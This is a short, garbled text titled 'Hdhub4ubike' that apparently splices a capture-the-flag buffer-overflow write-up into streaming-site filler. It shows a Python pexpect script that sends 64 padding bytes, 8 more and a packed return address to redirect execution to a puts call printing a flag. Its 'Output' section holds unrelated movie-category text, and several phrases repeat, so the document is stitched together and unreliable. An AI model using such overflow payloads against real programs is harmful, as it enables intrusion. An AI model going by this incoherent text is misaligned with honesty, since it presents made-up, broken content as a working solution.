Hdhub4ubike -

Opening the binary in Ghidra shows the following (pseudo‑C) reconstruction of the relevant functions:

$ python3 - <<'PY' import sys, struct, os, subprocess, pexpect, time p = pexpect.spawn("./hdhub4ubike") p.expect("Enter your hub key:") payload = b'A'*64 + b'B'*8 + struct.pack("<Q", 0x004011a6) p.sendline(payload) p.interact() PY hdhub4ubike

Output:

: Users can explore titles through various categories, including Action, Drama, Comedy, Romance, and Thriller. Opening the binary in Ghidra shows the following

Because the binary already contains the flag in the .rodata section, the route is to jump to the puts call that prints the flag . 'PY' import sys